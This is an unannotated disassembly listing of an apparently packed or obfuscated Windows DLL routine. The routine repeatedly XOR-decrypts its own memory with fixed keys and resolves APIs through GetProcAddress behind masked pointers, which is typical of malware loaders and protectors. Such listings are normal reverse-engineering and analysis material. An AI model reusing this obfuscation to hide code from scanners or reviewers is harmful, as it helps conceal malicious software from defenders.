lea ecx, [eax + 0x11be5]
add eax, 0x20370
xor eax, dword [ecx]
xor eax, 0xdccecfbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, 0xcc7ef5ea
sub ecx, eax
mov dword [0x10105368], ecx
lea ecx, [eax + 0x1ed7]
add eax, 0x202d0
xor eax, dword [ecx]
xor eax, 0xdccece1c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x183cb]
add eax, 0x2325c
xor eax, dword [ecx]
xor eax, 0xdccefe90
mov dword [ecx], eax
mov eax, dword [0x10103e60]
or eax, dword [0x1010536c]
mov dword [esp + 0x28], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8a0d]
add eax, 0x27c48
xor eax, dword [ecx]
xor eax, 0xdcceb084
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x101062e4]
add ecx, eax
mov dword [0x10103e60], ecx
lea ecx, [eax + 0x33fd8]
add eax, 0x1f5a0
xor eax, dword [ecx]
xor eax, 0xdccd396c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb77f]
add eax, 0x20294
xor eax, dword [ecx]
xor eax, 0xdccece58
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20298
mov dword [esp + 0x30], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x28]
xor ecx, dword [eax]
xor ecx, 0xcccf9ee4
mov dword [eax], ecx
mov eax, dword [0x10106ae8]
imul eax, dword [esp + 0x14]
mov dword [0x101062e0], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33110]
add eax, 0x36f08
xor eax, dword [ecx]
mov edx, dword [esp + 0x18]
xor eax, 0xdccfa3c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x15f87]
add eax, 0x15ab4
xor eax, dword [ecx]
xor eax, 0xdccd9678
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x123c2]
add eax, 0x202c0
xor eax, dword [ecx]
xor eax, 0xdccece0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x20a2]
add eax, 0x24f14
xor eax, dword [ecx]
xor eax, 0xdcce83d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x254f8]
add eax, 0x32de4
xor eax, dword [ecx]
xor eax, 0xdccfe128
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x231d0]
add eax, 0x17d0e
xor eax, dword [ecx]
xor eax, 0xdccdb1c2
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc469]
add eax, 0x28900
xor eax, dword [ecx]
xor eax, 0xdcce45cc
mov dword [ecx], eax
mov eax, dword [0x10103e64]
sub eax, dword [0x10106ae8]
mov dword [0x10105368], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x679e]
add eax, 0x25530
xor eax, dword [ecx]
xor eax, 0xdcce99fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
and dword [0x10103e60], 0
lea ecx, [eax + 0xa40cc]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3b2c]
add eax, 0x27610
xor eax, dword [ecx]
xor eax, 0xdccebadc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33624]
add eax, 0x33818
xor eax, dword [ecx]
xor eax, 0xdccff4d4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, edx
mov dword [0x1010536c], ecx
lea ecx, [eax + 0x14c8]
add eax, 0x149e
xor eax, dword [ecx]
xor eax, 0xdcccd852
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa2a4]
add eax, 0xa5688
xor eax, dword [ecx]
mov dword [esp + 0x1c], 0x2d
xor eax, 0xdcc69a44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18056]
add eax, 0x20198
xor eax, dword [ecx]
xor eax, 0xdccecd54
mov dword [ecx], eax
mov eax, 0xfcabad3c
sub eax, dword [0x101062e4]
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3db0]
add eax, 0x2716c
xor eax, dword [ecx]
xor eax, 0xdccebda0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13e2d]
add eax, 0xa5a48
xor eax, dword [ecx]
xor eax, 0xdcc69684
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33250]
add eax, 0x33264
xor eax, dword [ecx]
xor eax, 0xdccffea8
mov dword [ecx], eax
mov eax, dword [0x10107300]
and edx, dword [0x10103e60]
lea ecx, [eax + 0x127a4]
add eax, 0x202c4
xor eax, dword [ecx]
mov dword [esp + 0x18], edx
xor eax, 0xdccece08
mov dword [ecx], eax
mov eax, dword [0x10103e64]
xor eax, dword [0x10105ab8]
mov dword [0x101062e0], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4394]
add eax, 0x85118
xor eax, dword [ecx]
xor eax, 0xdcc49dd4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4188]
add eax, 0x26a6c
xor eax, dword [ecx]
xor eax, 0xdccea6a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc4e9]
add eax, 0x28958
xor eax, dword [ecx]
xor eax, 0xdcce4594
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x120b7]
add eax, 0x324d0
xor eax, dword [ecx]
xor eax, 0xdccfe81c
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x101062e0]
push dword [esp + 0x1c]
push section..data
call fcn.1001555e
dec dword [esp + 0x1c]
jne 0x10023950
mov eax, dword [0x10107300]
lea ecx, [eax + 0x169ad]
add eax, 0x21c08
xor eax, dword [ecx]
push 0x101077a4
xor eax, 0xdcced0c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12202]
add eax, 0x202d4
xor eax, dword [ecx]
push ebp
xor eax, 0xdccece18
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a8c]
add eax, 0x13c70
xor eax, dword [ecx]
xor eax, 0xdccdf0bc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1797b]
add eax, 0x17a20
xor eax, dword [ecx]
xor eax, 0xdccdb6ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a593]
add eax, 0x201d0
xor eax, dword [ecx]
xor eax, 0xdccecd1c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c31a]
add eax, 0xa5560
xor eax, dword [ecx]
xor eax, 0xdcc699ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa481c]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18153]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1597c]
add eax, 0x155be
xor eax, dword [ecx]
xor eax, 0xdccd9972
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18e9]
add eax, 0x24d48
xor eax, dword [ecx]
xor eax, 0xdcce8184
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x6799]
add eax, 0x24a9c
xor eax, dword [ecx]
xor eax, 0xdcce8650
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x2012c
mov dword [esp + 0x30], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x28]
xor ecx, dword [eax]
xor ecx, 0xcccf829e
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x179d0]
add eax, 0x17a17
xor eax, dword [ecx]
xor eax, 0xdccdb6db
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1ce03]
add eax, 0x1cf00
xor eax, dword [ecx]
push 0x10107be9
xor eax, 0xdccd03cc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1bad2]
add eax, 0xa5530
xor eax, dword [ecx]
push dword [esp + 0x28]
xor eax, 0xdcc699fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11640]
add eax, 0x323e8
xor eax, dword [ecx]
xor eax, 0xdccfef24
mov dword [ecx], eax
mov eax, dword [esp + 0x1c]
xor eax, 0xd0f8d640
mov dword [0x10105ab8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa177]
add eax, 0xa5a08
xor eax, dword [ecx]
xor eax, 0xdcc696c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33ee4]
add eax, 0x1f500
xor eax, dword [ecx]
xor eax, 0xdccd39cc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2dd9]
add eax, 0x1f4ab
xor eax, dword [ecx]
xor eax, 0xdccd3867
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20288
mov dword [esp + 0x30], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x28]
xor ecx, dword [eax]
push 0x10107d8b
xor ecx, 0xcccf9c26
mov dword [eax], ecx
mov eax, dword [0x1010536c]
and eax, dword [esp + 0x1c]
push dword [esp + 0x28]
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x338fc]
add eax, 0xa4b10
xor eax, dword [ecx]
xor eax, 0xdcc687dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x336b8]
add eax, 0x33684
xor eax, dword [ecx]
xor eax, 0xdccffa48
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [esp + 0x28]
add eax, 0x202fc
mov dword [0x1010536c], ecx
mov dword [esp + 0x30], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x28]
xor ecx, dword [eax]
xor ecx, 0xcccf9c34
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18721]
add eax, 0x361e8
xor eax, dword [ecx]
xor eax, 0xdccfad24
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1456]
add eax, 0x14a4
xor eax, dword [ecx]
xor eax, 0xdcccd868
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3ca4]
add eax, 0x52ba0
xor eax, dword [ecx]
xor eax, 0xdcc9e76c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, dword [0x10105368]
mov dword [0x101062e0], ecx
lea ecx, [eax + 0x33c40]
add eax, 0x19801
xor eax, dword [ecx]
xor eax, 0xdccd54cd
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17b48]
add eax, 0xa51e4
xor eax, dword [ecx]
xor eax, 0xdcc69d28
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c14f]
add eax, 0x36310
xor eax, dword [ecx]
xor eax, 0xdccfafdc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11bdf]
add eax, 0x32490
xor eax, dword [ecx]
xor eax, 0xdccfe85c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18c9c]
add eax, 0x23814
xor eax, dword [ecx]
xor eax, 0xdccef4d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8562]
add eax, 0x20250
xor eax, dword [ecx]
xor eax, 0xdccece9c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x851b]
add eax, 0x20008
xor eax, dword [ecx]
xor eax, 0xdcceccc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x329e0]
add eax, 0x13090
xor eax, dword [ecx]
xor eax, 0xdccdfc5c
mov dword [ecx], eax
mov eax, dword [0x10106ae8]
or eax, dword [esp + 0x14]
mov dword [0x10103e64], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8e58]
add eax, 0x27c58
xor eax, dword [ecx]
xor eax, 0xdcceb094
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x96e5]
add eax, 0x27d88
xor eax, dword [ecx]
mov dword [esp + 0x1c], 0x111
xor eax, 0xdcceb144
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax - 0x790fae09]
mov dword [0x1010536c], ecx
lea ecx, [eax + 0x236b]
add eax, 0xa5680
xor eax, dword [ecx]
xor eax, 0xdcc69a4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa466c]
add eax, 0x27874
xor eax, dword [ecx]
xor eax, 0xdcceb4b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25450]
add eax, 0x2890
xor eax, dword [ecx]
xor eax, 0xdccce45c
mov dword [ecx], eax
mov eax, dword [0x10105ab8]
mov ecx, dword [0x101062e0]
lea edx, [eax + ecx]
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4cc5]
add eax, 0x25a78
xor eax, dword [ecx]
xor eax, 0xdcce96b4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa401c]
add eax, 0x78780
xor eax, dword [ecx]
xor eax, 0xdccb4b4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + edx]
mov dword [0x10105368], ecx
lea ecx, [eax + 0x32f44]
add eax, 0x32f18
xor eax, dword [ecx]
xor eax, 0xdccfe3d4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb784]
add eax, 0x27b38
xor eax, dword [ecx]
xor eax, 0xdcceb7f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33100]
add eax, 0x33104
xor eax, dword [ecx]
xor eax, 0xdccffdc8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13137]
add eax, 0x32a84
xor eax, dword [ecx]
xor eax, 0xdccfe648
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x101062e0]
push dword [0x10105ab8]
push section..data
call fcn.1001555e
dec dword [esp + 0x1c]
jne 0x10023e74
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34438]
add eax, 0x1eb79
xor eax, dword [ecx]
xor eax, 0xdccd27b5
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x125a]
add eax, 0x24be0
xor eax, dword [ecx]
xor eax, 0xdcce872c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9ace]
add eax, 0x27c94
xor eax, dword [ecx]
xor eax, 0xdcceb058
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17811]
add eax, 0x17884
xor eax, dword [ecx]
xor eax, 0xdccdb448
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbd86]
add eax, 0x20244
xor eax, dword [ecx]
xor eax, 0xdccece88
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17ffa]
add eax, 0x36070
xor eax, dword [ecx]
xor eax, 0xdccfacbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [0x1010536c]
mov dword [esp + 0x18], ecx
lea ecx, [eax + 0x1ca07]
mov edx, dword [ecx]
xor edx, eax
xor edx, 0xdccccccc
mov dword [ecx], edx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18d96]
add eax, 0xa4f3c
xor eax, dword [ecx]
mov edx, 0xdcceb6c8
xor eax, 0xdcc683f0
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x1010536c]
add ecx, eax
mov dword [0x10103e60], ecx
lea ecx, [eax + 0x32ce8]
add eax, 0x32cec
xor eax, dword [ecx]
xor eax, 0xdccfe020
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e2de]
add eax, 0x32afc
xor eax, dword [ecx]
xor eax, 0xdccfe630
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32d40]
add eax, 0x36d60
xor eax, dword [ecx]
xor eax, 0xdccfa1ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x696a]
add eax, 0x27a04
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4470]
add eax, 0x2652c
xor eax, dword [ecx]
push 0x10107572
xor eax, 0xdccea9e0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32d20]
add eax, 0x32d24
xor eax, dword [ecx]
push ebp
xor eax, 0xdccfe1e8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x6bdd]
add eax, 0x27a04
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x200a0
mov dword [esp + 0x30], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x28]
xor ecx, dword [eax]
xor ecx, 0xcccf8762
mov dword [eax], ecx
mov eax, dword [0x10105abc]
or eax, dword [0x1010536c]
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24ebc]
add eax, 0x32c48
xor eax, dword [ecx]
xor eax, 0xdccfe084
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32f48]
add eax, 0x32f54
xor eax, dword [ecx]
xor eax, 0xdccfe398
mov dword [ecx], eax
mov eax, dword [esp + 0x18]
imul eax, eax, 0xa3f7a535
mov dword [0x10105abc], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1dfef]
add eax, 0x36060
xor eax, dword [ecx]
xor eax, 0xdccfacac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf69a]
add eax, 0x202d8
xor eax, dword [ecx]
xor eax, 0xdccece14
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x15974]
add eax, 0x153fa
xor eax, dword [ecx]
xor eax, 0xdccd9f36
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25708]
add eax, 0x12fc0
xor eax, dword [ecx]
xor eax, 0xdccde30c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbd34]
add eax, 0x202c4
xor eax, dword [ecx]
xor eax, 0xdccece08
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3de8]
add eax, 0x25748
xor eax, dword [ecx]
xor eax, 0xdcce9b84
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1bfd2]
add eax, 0xa5550
xor eax, dword [ecx]
push 0x101079ac
xor eax, 0xdcc6999c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x203b]
add eax, 0x202b0
xor eax, dword [ecx]
push ebp
xor eax, 0xdccece7c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, dword [0x10105368]
mov dword [0x10105ab8], ecx
lea ecx, [eax + 0x33dbc]
add eax, 0x1cadd
xor eax, dword [ecx]
xor eax, 0xdccd0611
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x201b0
mov dword [esp + 0x30], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x28]
xor ecx, dword [eax]
xor ecx, 0xcccf9986
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d10d]
add eax, 0x36b6c
xor eax, dword [ecx]
xor eax, 0xdccfa7a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3a7c]
add eax, 0x3afb0
xor eax, dword [ecx]
xor eax, 0xdccf637c
mov dword [ecx], eax
mov eax, dword [0x10105368]
and eax, 0xb79f66a2
mov dword [0x101062e0], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x27d9]
add eax, 0x202a8
xor eax, dword [ecx]
xor eax, 0xdccece64
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a1b1]
add eax, 0x36060
xor eax, dword [ecx]
xor eax, 0xdccfacac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3ddc]
add eax, 0x5a680
xor eax, dword [ecx]
xor eax, 0xdcc96a4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf1a5]
add eax, 0x32414
xor eax, dword [ecx]
xor eax, 0xdccfe8d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5df7]
add eax, 0xa59fc
xor eax, dword [ecx]
xor eax, 0xdcc69530
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c215]
add eax, 0x239d4
xor eax, dword [ecx]
xor eax, 0xdccef518
mov dword [ecx], eax
and dword [0x1010536c], 0
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13204]
add eax, 0x230d8
xor eax, dword [ecx]
xor eax, 0xdccefc14
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa39ec]
add eax, 0x382c8
xor eax, dword [ecx]
xor eax, 0xdccf4e04
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33334]
add eax, 0x33338
xor eax, dword [ecx]
xor eax, 0xdccffff4
mov dword [ecx], eax
mov eax, dword [0x10107300]
add dword [0x10103e60], eax
lea ecx, [eax + 0xeaa1]
add eax, 0xa5a38
xor eax, dword [ecx]
xor eax, 0xdcc696f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [0x10105abc]
mov dword [0x1010536c], ecx
lea ecx, [eax + 0x240cc]
add eax, 0x23c08
xor eax, dword [ecx]
xor eax, 0xdccef0c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, dword [0x10103e60]
mov dword [0x1010536c], ecx
lea ecx, [eax + 0x370a0]
add eax, 0x31f10
xor eax, dword [ecx]
xor eax, 0xdccfd3dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33078]
add eax, 0x32e38
xor eax, dword [ecx]
xor eax, 0xdccfe2f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33614]
add eax, 0x338c0
xor eax, dword [ecx]
xor eax, 0xdccff40c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19b85]
add eax, 0xa4f54
xor eax, dword [ecx]
xor eax, 0xdcc68398
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x97df]
add eax, 0x200ac
xor eax, dword [ecx]
xor eax, 0xdccecc60
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1754]
add eax, 0x20328
xor eax, dword [ecx]
xor eax, 0xdccecfe4
mov dword [ecx], eax
mov eax, dword [0x10107300]
add dword [0x10103e60], eax
lea ecx, [eax + 0xbf05]
add eax, 0x2575c
xor eax, dword [ecx]
xor eax, 0xdcce9b90
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x28fdc]
add eax, 0x65e0
xor eax, dword [ecx]
xor eax, 0xdccca92c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37048]
add eax, 0x32144
xor eax, dword [ecx]
xor eax, 0xdccfed88
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1335d]
add eax, 0x23178
xor eax, dword [ecx]
xor eax, 0xdccefdb4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3bd4]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x193c9]
add eax, 0x203a8
xor eax, dword [ecx]
xor eax, 0xdccecf64
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9962]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23ff4]
add eax, 0x23ecc
xor eax, dword [ecx]
xor eax, 0xdccef200
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1583]
add eax, 0x202f0
xor eax, dword [ecx]
xor eax, 0xdccece3c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x127d0]
add eax, 0x202c0
xor eax, dword [ecx]
xor eax, 0xdccece0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x343c0]
add eax, 0x1e963
xor eax, dword [ecx]
xor eax, 0xdccd25af
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xae03]
add eax, 0xa5a30
xor eax, dword [ecx]
xor eax, 0xdcc696fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x120f0]
add eax, 0x202c8
xor eax, dword [ecx]
xor eax, 0xdccece04
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x338f0]
add eax, 0x338fc
xor eax, dword [ecx]
xor eax, 0xdccff430
mov dword [ecx], eax
mov eax, dword [0x10107300]
sub dword [esp + 0x18], eax
lea ecx, [eax + 0x964c]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14188]
add eax, 0x2037c
xor eax, dword [ecx]
xor eax, 0xdccecfb0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa260]
add eax, 0xa5a08
xor eax, dword [ecx]
xor eax, 0xdcc696c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1599c]
add eax, 0x14c60
xor eax, dword [ecx]
xor eax, 0xdccd80ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17f52]
add eax, 0x23220
xor eax, dword [ecx]
xor eax, 0xdccefeec
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov edx, dword [0x101062e0]
sub edx, dword [0x10103e64]
lea ecx, [eax + 0x32e7c]
add eax, 0x32e80
xor eax, dword [ecx]
mov dword [esp + 0x14], edx
xor eax, 0xdccfe24c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [0x10105ab8]
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0xbe5b]
add eax, 0x28770
xor eax, dword [ecx]
xor eax, 0xdcce4bbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, edx
mov dword [0x10106ae8], ecx
mov ecx, dword [0x10105abc]
sub ecx, dword [esp + 0x18]
mov dword [0x1010536c], ecx
lea ecx, [eax + 0x25e94]
add eax, 0x4cc0
xor eax, dword [ecx]
xor eax, 0xdccc800c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c22d]
add eax, 0x239c4
xor eax, dword [ecx]
xor eax, 0xdccef508
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb159]
add eax, 0xa5a14
xor eax, dword [ecx]
xor eax, 0xdcc696d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9deb]
add eax, 0x27c96
xor eax, dword [ecx]
xor eax, 0xdcceb05a
mov dword [ecx], eax
mov ecx, dword [esp + 0x18]
mov eax, dword [0x10107300]
sub ecx, eax
mov dword [0x101062e4], ecx
lea ecx, [eax + 0x33914]
add eax, 0x33918
xor eax, dword [ecx]
xor eax, 0xdccff5d4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x334d8]
add eax, 0xa4a30
xor eax, dword [ecx]
xor eax, 0xdcc686fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25504]
add eax, 0x36a0
xor eax, dword [ecx]
xor eax, 0xdcccfa6c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18113]
add eax, 0x36528
xor eax, dword [ecx]
xor eax, 0xdccfa9e4
mov dword [ecx], eax
mov eax, dword [0x10103e64]
add eax, 0xb49ea9ac
mov dword [0x10105ab8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5cf3]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, ecx, 0xdd996708
mov dword [0x10105ab8], ecx
lea ecx, [eax + 0xa3f4c]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbc70]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x46a4]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cd04]
add eax, 0x1cd38
xor eax, dword [ecx]
xor eax, 0xdccd01f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x203a0]
add eax, 0x1a3de
xor eax, dword [ecx]
xor eax, 0xdccd6f12
mov dword [ecx], eax
mov eax, dword [0x10107300]
